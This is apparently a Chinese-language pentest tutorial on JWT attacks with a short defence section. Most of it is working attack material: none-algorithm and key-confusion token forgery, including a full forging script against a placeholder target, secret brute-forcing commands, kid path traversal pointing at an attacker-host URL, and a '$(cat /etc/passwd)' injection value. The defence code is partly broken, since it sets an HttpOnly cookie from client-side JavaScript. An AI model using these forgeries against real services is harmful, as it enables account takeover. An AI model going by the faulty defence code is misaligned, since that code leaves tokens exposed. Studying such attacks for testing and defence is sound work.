JWT 攻击详解
漏洞概述
JSON Web Token (JWT) 是一种开放标准 (RFC 7519),用于在各方之间安全地传输信息。但由于实现不当,常导致认证绕过、权限提升等漏洞。
OWASP Top 10: A07:2021 (Identification and Authentication Failures)
危害等级: ⭐⭐⭐⭐
JWT 结构
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
Header.Payload.SignatureHeader
{
"alg": "HS256",
"typ": "JWT"
}Payload
{
"sub": "1234567890",
"name": "John Doe",
"iat": 1516239022,
"exp": 1516242622,
"role": "user"
}Signature
HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)常见攻击手法
1. 无算法攻击 (None Algorithm)
原理: 将 alg 改为 none,服务器可能跳过签名验证。
利用:
# 修改 Header
{
"alg": "none",
"typ": "JWT"
}
# 删除 Signature 部分
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6ImFkbWluIn0.
# 使用 jwt_tool
python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6InVzZXIifQ.signature -X n2. 算法混淆攻击 (Algorithm Confusion)
原理: 将 RS256 改为 HS256,使用公钥作为 HMAC 密钥。
利用:
# 1. 获取公钥
curl https://target.com/.well-known/jwks.json
# 2. 修改 Header
{
"alg": "HS256",
"typ": "JWT"
}
# 3. 使用公钥作为 HMAC 密钥签名
python3 jwt_tool.py <JWT> -X k -pk public.pem
# 或手动计算
import jwt
import hmac
import hashlib
public_key = open('public.pem').read()
token = jwt.encode(payload, public_key, algorithm='HS256')3. 密钥爆破攻击
原理: 弱密钥可通过字典攻击破解。
利用:
# jwt_tool 爆破
python3 jwt_tool.py eyJhbGciOiJIUzI1NiIs... -d /usr/share/wordlists/rockyou.txt
# hashcat
hashcat -m 16500 jwt.txt wordlist.txt
# John the Ripper
john --wordlist=rockyou.txt jwt.txt常见弱密钥:
secret
password
123456
jwt_secret
your-256-bit-secret4. 签名绕过
原理: 某些库存在签名验证绕过漏洞。
利用:
# 添加空签名
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0.
# 使用无效签名
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIn0.invalid
# 修改 payload 后保持原签名
# 某些服务器可能不验证签名5. 敏感信息泄露
原理: JWT payload 仅 Base64 编码,未加密。
检测:
# 解码查看
echo "eyJzdWIiOiIxMjM0NTY3ODkwIn0" | base64 -d
# jwt_tool
python3 jwt_tool.py eyJhbGciOiJIUzI1NiIs... -T
# 在线工具
https://jwt.io/6. Token 重放攻击
原理: JWT 无状态,可重复使用。
利用:
# 1. 截获 JWT
# 2. 重复发送
curl -H "Authorization: Bearer <JWT>" http://target.com/api/user
# 3. 即使密码修改后,旧 Token 仍有效7. 注入攻击
原理: JWT 头部或 payload 可能存在注入点。
利用:
# SQL 注入
{
"sub": "' OR '1'='1",
"name": "admin'--"
}
# 命令注入 (某些实现)
{
"sub": "$(cat /etc/passwd)"
}实战案例
案例 1: 算法混淆 (RS256 → HS256)
import jwt
import requests
# 原始 Token
original_token = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9..."
# 获取公钥
public_key = requests.get('https://target.com/.well-known/jwks.json').json()['keys'][0]['x5c'][0]
public_key = f"-----BEGIN PUBLIC KEY-----\n{public_key}\n-----END PUBLIC KEY-----"
# 修改 payload
payload = {
"sub": "admin",
"role": "admin",
"iat": 1234567890
}
# 使用公钥作为 HS256 密钥
forged_token = jwt.encode(payload, public_key, algorithm='HS256')
# 使用伪造 Token
headers = {"Authorization": f"Bearer {forged_token}"}
response = requests.get('http://target.com/admin', headers=headers)案例 2: 弱密钥爆破
# 使用 jwt_tool
python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6InVzZXIifQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c -d common-passwords.txt
# 成功破解后修改 payload
python3 jwt_tool.py eyJhbGciOiJIUzI1NiIs... -S hs256 -p "secret" -I -pc role -pv admin案例 3: 权限提升
import jwt
import base64
import json
# 解码原始 Token
token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwicm9sZSI6InVzZXIifQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c"
header_payload = token.split('.')[1]
decoded = base64.urlsafe_b64decode(header_payload + '==')
payload = json.loads(decoded)
# 修改权限
payload['role'] = 'admin'
payload['is_admin'] = True
# 重新签名 (假设密钥为 'secret')
new_token = jwt.encode(payload, 'secret', algorithm='HS256')案例 4: Kid 路径遍历
# 漏洞:kid 参数用于加载密钥文件
{
"alg": "HS256",
"typ": "JWT",
"kid": "../../dev/null"
}
# 利用
python3 jwt_tool.py <JWT> -X k -kid "../../dev/null"
# 或使用空文件
{
"kid": "http://ATTACKER_IP/empty.key"
}工具
jwt_tool
# 安装
pip3 install jwt_tool
# 检测
python3 jwt_tool.py <JWT>
# 爆破密钥
python3 jwt_tool.py <JWT> -d wordlist.txt
# 算法攻击
python3 jwt_tool.py <JWT> -X n # None
python3 jwt_tool.py <JWT> -X k # Key Confusion
# 修改 payload
python3 jwt_tool.py <JWT> -S hs256 -p "secret" -I -pc role -pv adminjwt-cli
# 安装
npm install -g jwt-cli
# 解码
jwt decode <JWT>
# 创建
jwt encode --secret secret --alg HS256 '{"sub":"admin"}'防御建议
服务端
# 1. 强制指定算法
import jwt
# ❌ 错误
jwt.decode(token, secret, algorithms=None)
# ✅ 正确
jwt.decode(token, secret, algorithms=['HS256'])
# 2. 验证所有声明
payload = jwt.decode(token, secret, algorithms=['HS256'], options={
'require': ['exp', 'iat', 'sub'],
'verify_exp': True,
'verify_iat': True,
'verify_nbf': True,
'verify_iss': True,
'verify_aud': True
})
# 3. 使用强密钥
import secrets
secret = secrets.token_hex(32) # 256-bit
# 4. 设置合理过期时间
payload = {
'exp': datetime.utcnow() + timedelta(hours=1),
'iat': datetime.utcnow(),
'sub': user_id
}
# 5. 实现 Token 黑名单/刷新机制客户端
// 1. 安全存储
// ❌ 避免 localStorage (XSS 风险)
localStorage.setItem('token', token);
// ✅ 使用 HttpOnly Cookie
document.cookie = "token=" + token + "; HttpOnly; Secure; SameSite=Strict";
// 2. 自动刷新
setInterval(() => {
refreshToken();
}, 15 * 60 * 1000); // 每 15 分钟刷新
// 3. 登出时清除
function logout() {
localStorage.removeItem('token');
// 或清除 Cookie
}